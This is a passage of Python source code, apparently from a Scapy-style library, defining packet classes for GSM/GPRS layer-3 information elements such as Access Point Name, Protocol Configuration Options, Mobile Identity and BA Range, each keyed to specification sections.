"""A&C reference number Section 10.5.5.19""" name = "A&C Reference Number" fields_desc = [ XBitField("ieiARN", 0x0, 4), BitField("acRefVal", 0x0, 4) ] # Fix 1/2 len problem class AcReferenceNumberAndSpareHalfOctets(Packet): name = "A&C Reference Number and Spare Half Octets" fields_desc = [ BitField("acRefVal", 0x0, 4), BitField("spareHalfOctets", 0x0, 4) ] # # 10.5.6 Session management information elements # # length 3 to 102 class AccessPointName(Packet): """Access Point Name Section 10.5.6.1""" name = "Access Point Name" fields_desc = [ ByteField("ieiAPN", 0x0), XByteField("lengthAPN", None), ByteField("apName", 0x0), # optional ByteField("apName1", None), ByteField("apName2", None), ByteField("apName3", None), ByteField("apName4", None), ByteField("apName5", None), ByteField("apName6", None), ByteField("apName7", None), ByteField("apName8", None), ByteField("apName9", None), ByteField("apName10", None), ByteField("apName11", None), ByteField("apName12", None), ByteField("apName13", None), ByteField("apName14", None), ByteField("apName15", None), ByteField("apName16", None), ByteField("apName17", None), ByteField("apName18", None), ByteField("apName19", None), ByteField("apName20", None), ByteField("apName21", None), ByteField("apName22", None), ByteField("apName23", None), ByteField("apName24", None), ByteField("apName25", None), ByteField("apName26", None), ByteField("apName27", None), ByteField("apName28", None), ByteField("apName29", None), ByteField("apName30", None), ByteField("apName31", None), ByteField("apName32", None), ByteField("apName33", None), ByteField("apName34", None), ByteField("apName35", None), ByteField("apName36", None), ByteField("apName37", None), ByteField("apName38", None), ByteField("apName39", None), ByteField("apName40", None), ByteField("apName41", None), ByteField("apName42", None), ByteField("apName43", None), ByteField("apName44", None), ByteField("apName45", None), ByteField("apName46", None), ByteField("apName47", None), ByteField("apName48", None), ByteField("apName49", None), ByteField("apName50", None), ByteField("apName51", None), ByteField("apName52", None), ByteField("apName53", None), ByteField("apName54", None), ByteField("apName55", None), ByteField("apName56", None), ByteField("apName57", None), ByteField("apName58", None), ByteField("apName59", None), ByteField("apName60", None), ByteField("apName61", None), ByteField("apName62", None), ByteField("apName63", None), ByteField("apName64", None), ByteField("apName65", None), ByteField("apName66", None), ByteField("apName67", None), ByteField("apName68", None), ByteField("apName69", None), ByteField("apName70", None), ByteField("apName71", None), ByteField("apName72", None), ByteField("apName73", None), ByteField("apName74", None), ByteField("apName75", None), ByteField("apName76", None), ByteField("apName77", None), ByteField("apName78", None), ByteField("apName79", None), ByteField("apName80", None), ByteField("apName81", None), ByteField("apName82", None), ByteField("apName83", None), ByteField("apName84", None), ByteField("apName85", None), ByteField("apName86", None), ByteField("apName87", None), ByteField("apName88", None), ByteField("apName89", None), ByteField("apName90", None), ByteField("apName91", None), ByteField("apName92", None), ByteField("apName93", None), ByteField("apName94", None), ByteField("apName95", None), ByteField("apName96", None), ByteField("apName97", None), ByteField("apName98", None), ByteField("apName99", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 102, a, self.fields_desc) if self.lengthAPN is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class NetworkServiceAccessPointIdentifier(Packet): """Network service access point identifier Section 10.5.6.2""" name = "Network Service Access Point Identifier" fields_desc = [ ByteField("ieiNSAPI", 0x0), BitField("spare", 0x0, 4), BitField("nsapiVal", 0x0, 4) ] # length 2 to 253 class ProtocolConfigurationOptions(Packet): """Protocol configuration options Section 10.5.6.3""" name = "Protocol Configuration Options" fields_desc = [ ByteField("ieiPCO", 0x0), XByteField("lengthPCO", None), # optional BitField("ext", None, 1), BitField("spare", None, 4), BitField("configProto", None, 3), ByteField("protoId1", None), ByteField("lenProto1", None), ByteField("proto1Content", None), ByteField("protoId2", None), ByteField("lenProto2", None), ByteField("proto2Content", None), ByteField("protoId3", None), ByteField("lenProto3", None), ByteField("proto3Content", None), ByteField("protoId4", None), ByteField("lenProto4", None), ByteField("proto4Content", None), ByteField("protoId5", None), ByteField("lenProto5", None), ByteField("proto5Content", None), ByteField("protoId6", None), ByteField("lenProto6", None), ByteField("proto6Content", None), ByteField("protoId7", None), ByteField("lenProto7", None), ByteField("proto7Content", None), ByteField("protoId8", None), ByteField("lenProto8", None), ByteField("proto8Content", None), ByteField("protoId9", None), ByteField("lenProto9", None), ByteField("proto9Content", None), ByteField("protoId10", None), ByteField("lenProto10", None), ByteField("proto10Content", None), ByteField("protoId11", None), ByteField("lenProto11", None), ByteField("proto11Content", None), ByteField("protoId12", None), ByteField("lenProto12", None), ByteField("proto12Content", None), ByteField("protoId13", None), ByteField("lenProto13", None), ByteField("proto13Content", None), ByteField("protoId14", None), ByteField("lenProto14", None), ByteField("proto14Content", None), ByteField("protoId15", None), ByteField("lenProto15", None), ByteField("proto15Content", None), ByteField("protoId16", None), ByteField("lenProto16", None), ByteField("proto16Content", None), ByteField("protoId17", None), ByteField("lenProto17", None), ByteField("proto17Content", None), ByteField("protoId18", None), ByteField("lenProto18", None), ByteField("proto18Content", None), ByteField("protoId19", None), ByteField("lenProto19", None), ByteField("proto19Content", None), ByteField("protoId20", None), ByteField("lenProto20", None), ByteField("proto20Content", None), ByteField("protoId21", None), ByteField("lenProto21", None), ByteField("proto21Content", None), ByteField("protoId22", None), ByteField("lenProto22", None), ByteField("proto22Content", None), ByteField("protoId23", None), ByteField("lenProto23", None), ByteField("proto23Content", None), ByteField("protoId24", None), ByteField("lenProto24", None), ByteField("proto24Content", None), ByteField("protoId25", None), ByteField("lenProto25", None), ByteField("proto25Content", None), ByteField("protoId26", None), ByteField("lenProto26", None), ByteField("proto26Content", None), ByteField("protoId27", None), ByteField("lenProto27", None), ByteField("proto27Content", None), ByteField("protoId28", None), ByteField("lenProto28", None), ByteField("proto28Content", None), ByteField("protoId29", None), ByteField("lenProto29", None), ByteField("proto29Content", None), ByteField("protoId30", None), ByteField("lenProto30", None), ByteField("proto30Content", None), ByteField("protoId31", None), ByteField("lenProto31", None), ByteField("proto31Content", None), ByteField("protoId32", None), ByteField("lenProto32", None), ByteField("proto32Content", None), ByteField("protoId33", None), ByteField("lenProto33", None), ByteField("proto33Content", None), ByteField("protoId34", None), ByteField("lenProto34", None), ByteField("proto34Content", None), ByteField("protoId35", None), ByteField("lenProto35", None), ByteField("proto35Content", None), ByteField("protoId36", None), ByteField("lenProto36", None), ByteField("proto36Content", None), ByteField("protoId37", None), ByteField("lenProto37", None), ByteField("proto37Content", None), ByteField("protoId38", None), ByteField("lenProto38", None), ByteField("proto38Content", None), ByteField("protoId39", None), ByteField("lenProto39", None), ByteField("proto39Content", None), ByteField("protoId40", None), ByteField("lenProto40", None), ByteField("proto40Content", None), ByteField("protoId41", None), ByteField("lenProto41", None), ByteField("proto41Content", None), ByteField("protoId42", None), ByteField("lenProto42", None), ByteField("proto42Content", None), ByteField("protoId43", None), ByteField("lenProto43", None), ByteField("proto43Content", None), ByteField("protoId44", None), ByteField("lenProto44", None), ByteField("proto44Content", None), ByteField("protoId45", None), ByteField("lenProto45", None), ByteField("proto45Content", None), ByteField("protoId46", None), ByteField("lenProto46", None), ByteField("proto46Content", None), ByteField("protoId47", None), ByteField("lenProto47", None), ByteField("proto47Content", None), ByteField("protoId48", None), ByteField("lenProto48", None), ByteField("proto48Content", None), ByteField("protoId49", None), ByteField("lenProto49", None), ByteField("proto49Content", None), ByteField("protoId50", None), ByteField("lenProto50", None), ByteField("proto50Content", None), ByteField("protoId51", None), ByteField("lenProto51", None), ByteField("proto51Content", None), ByteField("protoId52", None), ByteField("lenProto52", None), ByteField("proto52Content", None), ByteField("protoId53", None), ByteField("lenProto53", None), ByteField("proto53Content", None), ByteField("protoId54", None), ByteField("lenProto54", None), ByteField("proto54Content", None), ByteField("protoId55", None), ByteField("lenProto55", None), ByteField("proto55Content", None), ByteField("protoId56", None), ByteField("lenProto56", None), ByteField("proto56Content", None), ByteField("protoId57", None), ByteField("lenProto57", None), ByteField("proto57Content", None), ByteField("protoId58", None), ByteField("lenProto58", None), ByteField("proto58Content", None), ByteField("protoId59", None), ByteField("lenProto59", None), ByteField("proto59Content", None), ByteField("protoId60", None), ByteField("lenProto60", None), ByteField("proto60Content", None), ByteField("protoId61", None), ByteField("lenProto61", None), ByteField("proto61Content", None), ByteField("protoId62", None), ByteField("lenProto62", None), ByteField("proto62Content", None), ByteField("protoId63", None), ByteField("lenProto63", None), ByteField("proto63Content", None), ByteField("protoId64", None), ByteField("lenProto64", None), ByteField("proto64Content", None), ByteField("protoId65", None), ByteField("lenProto65", None), ByteField("proto65Content", None), ByteField("protoId66", None), ByteField("lenProto66", None), ByteField("proto66Content", None), ByteField("protoId67", None), ByteField("lenProto67", None), ByteField("proto67Content", None), ByteField("protoId68", None), ByteField("lenProto68", None), ByteField("proto68Content", None), ByteField("protoId69", None), ByteField("lenProto69", None), ByteField("proto69Content", None), ByteField("protoId70", None), ByteField("lenProto70", None), ByteField("proto70Content", None), ByteField("protoId71", None), ByteField("lenProto71", None), ByteField("proto71Content", None), ByteField("protoId72", None), ByteField("lenProto72", None), ByteField("proto72Content", None), ByteField("protoId73", None), ByteField("lenProto73", None), ByteField("proto73Content", None), ByteField("protoId74", None), ByteField("lenProto74", None), ByteField("proto74Content", None), ByteField("protoId75", None), ByteField("lenProto75", None), ByteField("proto75Content", None), ByteField("protoId76", None), ByteField("lenProto76", None), ByteField("proto76Content", None), ByteField("protoId77", None), ByteField("lenProto77", None), ByteField("proto77Content", None), ByteField("protoId78", None), ByteField("lenProto78", None), ByteField("proto78Content", None), ByteField("protoId79", None), ByteField("lenProto79", None), ByteField("proto79Content", None), ByteField("protoId80", None), ByteField("lenProto80", None), ByteField("proto80Content", None), ByteField("protoId81", None), ByteField("lenProto81", None), ByteField("proto81Content", None), ByteField("protoId82", None), ByteField("lenProto82", None), ByteField("proto82Content", None), ByteField("protoId83", None), ByteField("lenProto83", None), ByteField("proto83Content", None), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 253, a, self.fields_desc) if self.lengthPCO is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 4 to 20 class PacketDataProtocolAddress(Packet): """Packet data protocol address Section 10.5.6.4""" name = "Packet Data Protocol Address" fields_desc = [ ByteField("ieiPDPA", 0x0), XByteField("lengthPDPA", None), BitField("spare", 0x0, 4), BitField("pdpTypeOrga", 0x0, 4), ByteField("pdpTypeNb", 0x0), # optional ByteField("addressInfo1", None), ByteField("addressInfo2", None), ByteField("addressInfo3", None), ByteField("addressInfo4", None), ByteField("addressInfo5", None), ByteField("addressInfo6", None), ByteField("addressInfo7", None), ByteField("addressInfo8", None), ByteField("addressInfo9", None), ByteField("addressInfo10", None), ByteField("addressInfo11", None), ByteField("addressInfo12", None), ByteField("addressInfo13", None), ByteField("addressInfo14", None), ByteField("addressInfo15", None), ByteField("addressInfo16", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(4, 20, a, self.fields_desc) if self.lengthPDPA is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class QualityOfService(Packet): """Quality of service Section 10.5.6.5""" name = "Quality of Service" fields_desc = [ ByteField("ieiQOS", 0x0), XByteField("lengthQOS", 0x5), BitField("spare", 0x0, 2), BitField("delayClass", 0x0, 3), BitField("reliaClass", 0x0, 3), BitField("peak", 0x0, 4), BitField("spare", 0x0, 1), BitField("precedenceCl", 0x0, 3), BitField("spare", 0x0, 3), BitField("mean", 0x0, 5) ] class SmCause(Packet): """SM cause Section 10.5.6.6""" name = "SM Cause" fields_desc = [ ByteField("ieiSC", 0x0), ByteField("causeVal", 0x0) ] # 10.5.6.7 Spare # This is intentionally left spare. class AaDeactivationCause(Packet): """AA deactivation cause Section 10.5.6.8""" name = "AA Deactivation Cause" fields_desc = [ XBitField("ieiADC", 0x0, 4), BitField("spare", 0x0, 1), BitField("aaVal", 0x0, 3) ] # Fix 1/2 len problem class AaDeactivationCauseAndSpareHalfOctets(Packet): name = "AA Deactivation Cause and Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 1), BitField("aaVal", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] class LlcServiceAccessPointIdentifier(Packet): """LLC service access point identifier Section 10.5.6.9""" name = "LLC Service Access Point Identifier" fields_desc = [ ByteField("ieiLSAPI", None), BitField("spare", 0x0, 4), BitField("llcVal", 0x0, 4) ] # # 10.5.7 GPRS Common information elements # # 10.5.7.1 [Spare] class RadioPriority(Packet): """Radio priority Section 10.5.7.2""" name = "Radio Priority" fields_desc = [ XBitField("ieiRP", 0x0, 4), BitField("spare", 0x1, 1), BitField("rplv", 0x0, 3) ] # Fix 1/2 len problem class RadioPriorityAndSpareHalfOctets(Packet): name = "Radio Priority and Spare Half Octets" fields_desc = [ BitField("spare", 0x1, 1), BitField("rplv", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] class GprsTimer(Packet): """GPRS Timer Section 10.5.7.3""" name = "GPRS Timer" fields_desc = [ ByteField("ieiGT", 0x0), BitField("unit", 0x0, 3), BitField("timerVal", 0x0, 5) ] class CellIdentity(Packet): """ Cell identity Section 10.5.1.1 """ name = "Cell Identity" fields_desc = [ ByteField("ciValue1", 0x0), ByteField("ciValue2", 0x0) ] class CiphKeySeqNr(Packet): """ Ciphering Key Sequence Number Section 10.5.1.2 """ name = "Cipher Key Sequence Number" fields_desc = [ BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3) ] class LocalAreaId(Packet): """ Local Area Identification Section 10.5.1.3 """ name = "Location Area Identification" fields_desc = [ BitField("mccDigit2", 0x0, 4), BitField("mccDigit1", 0x0, 4), BitField("mncDigit3", 0x0, 4), BitField("mccDigit3", 0x0, 4), BitField("mncDigit2", 0x0, 4), BitField("mncDigit1", 0x0, 4), ByteField("lac1", 0x0), ByteField("lac2", 0x0) ] # # The Mobile Identity is a type 4 information element with a minimum # length of 3 octet and 11 octets length maximal. # # len 3 - 11 class MobileId(Packet): """ Mobile Identity Section 10.5.1.4 """ name = "Mobile Identity" fields_desc = [ XByteField("lengthMI", None), BitField("idDigit1", 0x0, 4), BitField("oddEven", 0x0, 1), BitField("typeOfId", 0x0, 3), BitField("idDigit2_1", None, 4), # optional BitField("idDigit2", None, 4), BitField("idDigit3_1", None, 4), BitField("idDigit3", None, 4), BitField("idDigit4_1", None, 4), BitField("idDigit4", None, 4), BitField("idDigit5_1", None, 4), BitField("idDigit5", None, 4), BitField("idDigit6_1", None, 4), BitField("idDigit6", None, 4), BitField("idDigit7_1", None, 4), BitField("idDigit7", None, 4), BitField("idDigit8_1", None, 4), BitField("idDigit8", None, 4), BitField("idDigit9_1", None, 4), BitField("idDigit9", None, 4), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 10, a, self.fields_desc, 1) if self.lengthMI is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay class MobileStationClassmark1(Packet): """ Mobile Station Classmark 1 Section 10.5.1.5 """ name = "Mobile Station Classmark 1" fields_desc = [ BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3) ] class MobileStationClassmark2(Packet): """ Mobile Station Classmark 2 Section 10.5.1.6 """ name = "Mobile Station Classmark 2" fields_desc = [ XByteField("lengthMSC2", 0x3), BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3), BitField("spare1", 0x0, 1), BitField("psCap", 0x0, 1), BitField("ssScreenInd", 0x0, 2), BitField("smCaPabi", 0x0, 1), BitField("vbs", 0x0, 1), BitField("vgcs", 0x0, 1), BitField("fc", 0x0, 1), BitField("cm3", 0x0, 1), BitField("spare2", 0x0, 1), BitField("lcsvaCap", 0x0, 1), BitField("spare3", 0x0, 1), BitField("soLsa", 0x0, 1), BitField("cmsp", 0x0, 1), BitField("a53", 0x0, 1), BitField("a52", 0x0, 1) ] class DescriptiveGroupOrBroadcastCallReference(Packet): """ Descriptive group or broadcast call reference Section 10.5.1.9 """ name = "Descriptive Group or Broadcast Call Reference" fields_desc = [ BitField("binCallRef", 0x0, 27), BitField("sf", 0x0, 1), BitField("fa", 0x0, 1), BitField("callPrio", 0x0, 3), BitField("cipherInfo", 0x0, 4), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("spare3", 0x0, 1), BitField("spare4", 0x0, 1) ] class PdAndSapi(Packet): """ PD and SAPI $(CCBS)$ Section 10.5.1.10a """ name = "PD and SAPI $(CCBS)$" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("sapi", 0x0, 2), BitField("pd", 0x0, 4) ] class PriorityLevel(Packet): """ Priority Level Section 10.5.1.11 """ name = "Priority Level" fields_desc = [ BitField("spare", 0x0, 1), BitField("callPrio", 0x0, 3) ] # # Radio Resource management information elements # # len 6 to max for L3 message (251) class BaRange(Packet): """ BA Range Section 10.5.2.1a """ name = "BA Range" fields_desc = [ XByteField("lengthBR", None), #error: byte format requires -128 <= number <= 127 ByteField("nrOfRanges", 0x0), # # rX = range X # # L o = Lower H i = higher # # H p = high Part Lp = low Part ByteField("r1LoHp", 0x0), BitField("r1LoLp", 0x0, 3), BitField("r1HiHp", 0x0, 5), BitField("r1HiLp", 0x0, 4), BitField("r2LoHp", 0x0, 4), # optional BitField("r2LoLp", None, 5), BitField("r2HiHp", None, 3), ByteField("r2HiLp", None), ByteField("r3LoHp", None), BitField("r3LoLp", None, 5), BitField("r3HiHp", None, 3), ByteField("r3HiLp", None), ByteField("r4LoHp", None), BitField("r4LoLp", None, 5), BitField("r4HiHp", None, 3), ByteField("r4HiLp", None), ByteField("r5LoHp", None), BitField("r5LoLp", None, 5), BitField("r5HiHp", None, 3), ByteField("r5HiLp", None), ByteField("r6LoHp", None), BitField("r6LoLp", None, 5), BitField("r6HiHp", None, 3), ByteField("r6HiLp", None), ByteField("r7LoHp", None), BitField("r7LoLp", None, 5), BitField("r7HiHp", None, 3), ByteField("r7HiLp", None), ByteField("r8LoHp", None), BitField("r8LoLp", None, 5), BitField("r8HiHp", None, 3), ByteField("r8HiLp", None), ByteField("r9LoHp", None), BitField("r9LoLp", None, 5), BitField("r9HiHp", None, 3), ByteField("r9HiLp", None), ByteField("r10LoHp", None), BitField("r10LoLp", None, 5), BitField("r10HiHp", None, 3), ByteField("r10HiLp", None), ByteField("r11LoHp", None), BitField("r11LoLp", None, 5), BitField("r11HiHp", None, 3), ByteField("r11HiLp", None), ByteField("r12LoHp", None), BitField("r12LoLp", None, 5), BitField("r12HiHp", None, 3), ByteField("r12HiLp", None), ByteField("r13LoHp", None), BitField("r13LoLp", None, 5), BitField("r13HiHp", None, 3), ByteField("r13HiLp", None), ByteField("r14LoHp", None), BitField("r14LoLp", None, 5), BitField("r14HiHp", None, 3), ByteField("r14HiLp", None), ByteField("r15LoHp", None), BitField("r15LoLp", None, 5), BitField("r15HiHp", None, 3), ByteField("r15HiLp", None), ByteField("r16LoHp", None), BitField("r16LoLp", None, 5), BitField("r16HiHp", None, 3), ByteField("r16HiLp", None), ByteField("r17LoHp", None), BitField("r17LoLp", None, 5), BitField("r17HiHp", None, 3), ByteField("r17HiLp", None), ByteField("r18LoHp", None), BitField("r18LoLp", None, 5), BitField("r18HiHp", None, 3), ByteField("r18HiLp", None), ByteField("r19LoHp", None), BitField("r19LoLp", None, 5), BitField("r19HiHp", None, 3), ByteField("r19HiLp", None), ByteField("r20LoHp", None), BitField("r20LoLp", None, 5), BitField("r20HiHp", None, 3), ByteField("r20HiLp", None), ByteField("r21LoHp", None), BitField("r21LoLp", None, 5), BitField("r21HiHp", None, 3), ByteField("r21HiLp", None), ByteField("r22LoHp", None), BitField("r22LoLp", None, 5), BitField("r22HiHp", None, 3), ByteField("r22HiLp", None), ByteField("r23LoHp", None), BitField("r23LoLp", None, 5), BitField("r23HiHp", None, 3), ByteField("r23HiLp", None), ByteField("r24LoHp", None), BitField("r24LoLp", None, 5), BitField("r24HiHp", None, 3), ByteField("r24HiLp", None), ByteField("r25LoHp", None), BitField("r25LoLp", None, 5), BitField("r25HiHp", None, 3), ByteField("r25HiLp", None), ByteField("r26LoHp", None), BitField("r26LoLp", None, 5), BitField("r26HiHp", None, 3), ByteField("r26HiLp", None), ByteField("r27LoHp", None), BitField("r27LoLp", None, 5), BitField("r27HiHp", None, 3), ByteField("r27HiLp", None), ByteField("r28LoHp", None), BitField("r28LoLp", None, 5), BitField("r28HiHp", None, 3), ByteField("r28HiLp", None), ByteField("r29LoHp", None), BitField("r29LoLp", None, 5), BitField("r29HiHp", None, 3), ByteField("r29HiLp", None), ByteField("r30LoHp", None), BitField("r30LoLp", None, 5), BitField("r30HiHp", None, 3), ByteField("r30HiLp", None), ByteField("r31LoHp", None), BitField("r31LoLp", None, 5), BitField("r31HiHp", None, 3), ByteField("r31HiLp", None), ByteField("r32LoHp", None), BitField("r32LoLp", None, 5), BitField("r32HiHp", None, 3), ByteField("r32HiLp", None), ByteField("r33LoHp", None), BitField("r33LoLp", None, 5), BitField("r33HiHp", None, 3), ByteField("r33HiLp", None), ByteField("r34LoHp", None), BitField("r34LoLp", None, 5), BitField("r34HiHp", None, 3), ByteField("r34HiLp", None), ByteField("r35LoHp", None), BitField("r35LoLp", None, 5), BitField("r35HiHp", None, 3), ByteField("r35HiLp", None), ByteField("r36LoHp", None), BitField("r36LoLp", None, 5), BitField("r36HiHp", None, 3), ByteField("r36HiLp", None), ByteField("r37LoHp", None), BitField("r37LoLp", None, 5), BitField("r37HiHp", None, 3), ByteField("r37HiLp", None), ByteField("r38LoHp", None), BitField("r38LoLp", None, 5), BitField("r38HiHp", None, 3), ByteField("r38HiLp", None), ByteField("r39LoHp", None), BitField("r39LoLp", None, 5), BitField("r39HiHp", None, 3), ByteField("r39HiLp", None), ByteField("r40LoHp", None), BitField("r40LoLp", None, 5), BitField("r40HiHp", None, 3), ByteField("r40HiLp", None), ByteField("r41LoHp", None), BitField("r41LoLp", None, 5), BitField("r41HiHp", None, 3), ByteField("r41HiLp", None), ByteField("r42LoHp", None), BitField("r42LoLp", None, 5), BitField("r42HiHp", None, 3), ByteField("r42HiLp", None), ByteField("r43LoHp", None), BitField("r43LoLp", None, 5), BitField("r43HiHp", None, 3), ByteField("r43HiLp", None), ByteField("r44LoHp", None), BitField("r44LoLp", None, 5), BitField("r44HiHp", None, 3), ByteField("r44HiLp", None), ByteField("r45LoHp", None), BitField("r45LoLp", None, 5), BitField("r45HiHp", None, 3), ByteField("r45HiLp", None), ByteField("r46LoHp", None), BitField("r46LoLp", None, 5), BitField("r46HiHp", None, 3), ByteField("r46HiLp", None), ByteField("r47LoHp", None), BitField("r47LoLp", None, 5), BitField("r47HiHp", None, 3), ByteField("r47HiLp", None), ByteField("r48LoHp", None), BitField("r48LoLp", None, 5), BitField("r48HiHp", None, 3), ByteField("r48HiLp", None), ByteField("r49LoHp", None), BitField("r49LoLp", None, 5), BitField("r49HiHp", None, 3), ByteField("r49HiLp", None), ByteField("r50LoHp", None), BitField("r50LoLp", None, 5), BitField("r50HiHp", None, 3), ByteField("r50HiLp", None), ByteField("r51LoHp", None), BitField("r51LoLp", None, 5), BitField("r51HiHp", None, 3), ByteField("r51HiLp", None), ByteField("r52LoHp", None), BitField("r52LoLp", None, 5), BitField("r52HiHp", None, 3), ByteField("r52HiLp", None), ByteField("r53LoHp", None), BitField("r53LoLp", None, 5), BitField("r53HiHp", None, 3), ByteField("r53HiLp", None), ByteField("r54LoHp", None), BitField("r54LoLp", None, 5), BitField("r54HiHp", None, 3), ByteField("r54HiLp", None), ByteField("r55LoHp", None), BitField("r55LoLp", None, 5), BitField("r55HiHp", None, 3), ByteField("r55HiLp", None), ByteField("r56LoHp", None), BitField("r56LoLp", None, 5), BitField("r56HiHp", None, 3), ByteField("r56HiLp", None), ByteField("r57LoHp", None), BitField("r57LoLp", None, 5), BitField("r57HiHp", None, 3), ByteField("r57HiLp", None), ByteField("r58LoHp", None), BitField("r58LoLp", None, 5), BitField("r58HiHp", None, 3), ByteField("r58HiLp", None), ByteField("r59LoHp", None), BitField("r59LoLp", None, 5), BitField("r59HiHp", None, 3), ByteField("r59HiLp", None), ByteField("r60LoHp", None), BitField("r60LoLp", None, 5), BitField("r60HiHp", None, 3), ByteField("r60HiLp", None), ByteField("r61LoHp", None), BitField("r61LoLp", None, 5), BitField("r61HiHp", None, 3), ByteField("r61HiLp", None), ByteField("r62LoHp", None), BitField("r62LoLp", None, 5), BitField("r62HiHp", None, 3), ByteField("r62HiLp", None), ByteField("r63LoHp", None), BitField("r63LoLp", None, 5), BitField("r63HiHp", None, 3), ByteField("r63HiLp", None), ByteField("r64LoHp", None), BitField("r64LoLp", None, 5), BitField("r64HiHp", None, 3), ByteField("r64HiLp", None), ByteField("r65LoHp", None), BitField("r65LoLp", None, 5), BitField("r65HiHp", None, 3), ByteField("r65HiLp", None), ByteField("r66LoHp", None), BitField("r66LoLp", None, 5), BitField("r66HiHp", None, 3), ByteField("r66HiLp", None), ByteField("r67LoHp", None), BitField("r67LoLp", None, 5), BitField("r67HiHp", None, 3), ByteField("r67HiLp", None), ByteField("r68LoHp", None), BitField("r68LoLp", None, 5), BitField("r68HiHp", None, 3), ByteField("r68HiLp", None), ByteField("r69LoHp", None), BitField("r69LoLp", None, 5), BitField("r69HiHp", None, 3), ByteField("r69HiLp", None), ByteField("r70LoHp", None), BitField("r70LoLp", None, 5), BitField("r70HiHp", None, 3), ByteField("r70HiLp", None), ByteField("r71LoHp", None), BitField("r71LoLp", None, 5), BitField("r71HiHp", None, 3), ByteField("r71HiLp", None), ByteField("r72LoHp", None), BitField("r72LoLp", None, 5), BitField("r72HiHp", None, 3), ByteField("r72HiLp", None), ByteField("r73LoHp", None), BitField("r73LoLp", None, 5), BitField("r73HiHp", None, 3), ByteField("r73HiLp", None), ByteField("r74LoHp", None), BitField("r74LoLp", None, 5), BitField("r74HiHp", None, 3), ByteField("r74HiLp", None), ByteField("r75LoHp", None), BitField("r75LoLp", None, 5), BitField("r75HiHp", None, 3), ByteField("r75HiLp", None), ByteField("r76LoHp", None), BitField("r76LoLp", None, 5), BitField("r76HiHp", None, 3), ByteField("r76HiLp", None), ByteField("r77LoHp", None), BitField("r77LoLp", None, 5), BitField("r77HiHp", None, 3), ByteField("r77HiLp", None), ByteField("r78LoHp", None), BitField("r78LoLp", None, 5), BitField("r78HiHp", None, 3), ByteField("r78HiLp", None), ByteField("r79LoHp", None), BitField("r79LoLp", None, 5), BitField("r79HiHp", None, 3), ByteField("r79HiLp", None), ByteField("r80LoHp", None), BitField("r80LoLp", None, 5), BitField("r80HiHp", None, 3), ByteField("r80HiLp", None), ByteField("r81LoHp", None), BitField("r81LoLp", None, 5), BitField("r81HiHp", None, 3), ByteField("r81HiLp", None), ByteField("r82LoHp", None), BitField("r82LoLp", None, 5), BitField("r82HiHp", None, 3), ByteField("r82HiLp", None), ByteField("r83LoHp", None), BitField("r83LoLp", None, 5), BitField("r83HiHp", None, 3), ByteField("r83HiLp", None), ByteField("r84LoHp", None), BitField("r84LoLp", None, 5), BitField("r84HiHp", None, 3), ByteField("r84HiLp", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(5, 253, a, self.fields_desc, 1) if self.lengthBR is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 3 to max for L3 message (251) class BaListPref(Packet): """ BA List Pref Section 10.5.2.1c """ name = "BA List Pref" fields_desc = [ XByteField("lengthBLP", None), BitField("fixBit", 0x0, 1), BitField("rangeLower", 0x0, 10), BitField("fixBit2", 0x0, 1), BitField("rangeUpper", 0x0, 10), BitField("baFreq", 0x0, 10), BitField("sparePad", 0x0, 8) ] # len 17 || Have a look at the specs for the field format # Bit map 0 format # Range 1024 format # Range 512 format # Range 256 format # Range 128 format # Variable bit map format class CellChannelDescription(Packet): """ Cell Channel Description Section 10.5.2.1b """ name = "Cell Channel Description " fields_desc = [ BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), ByteField("bit120", 0x0), ByteField("bit112", 0x0), ByteField("bit104", 0x0), ByteField("bit96", 0x0), ByteField("bit88", 0x0), ByteField("bit80", 0x0), ByteField("bit72", 0x0), ByteField("bit64", 0x0), ByteField("bit56", 0x0), ByteField("bit48", 0x0), ByteField("bit40", 0x0), ByteField("bit32", 0x0), ByteField("bit24", 0x0), ByteField("bit16", 0x0), ByteField("bit8", 0x0) ] class CellDescription(Packet): """ Cell Description Section 10.5.2.2 """ name = "Cell Description" fields_desc = [ BitField("bcchHigh", 0x0, 2), BitField("ncc", 0x0, 3), BitField("bcc", 0x0, 3), ByteField("bcchLow", 0x0) ] class CellOptionsBCCH(Packet): """ Cell Options (BCCH) Section 10.5.2.3 """ name = "Cell Options (BCCH)" fields_desc = [ BitField("spare", 0x0, 1), BitField("pwrc", 0x0, 1), BitField("dtx", 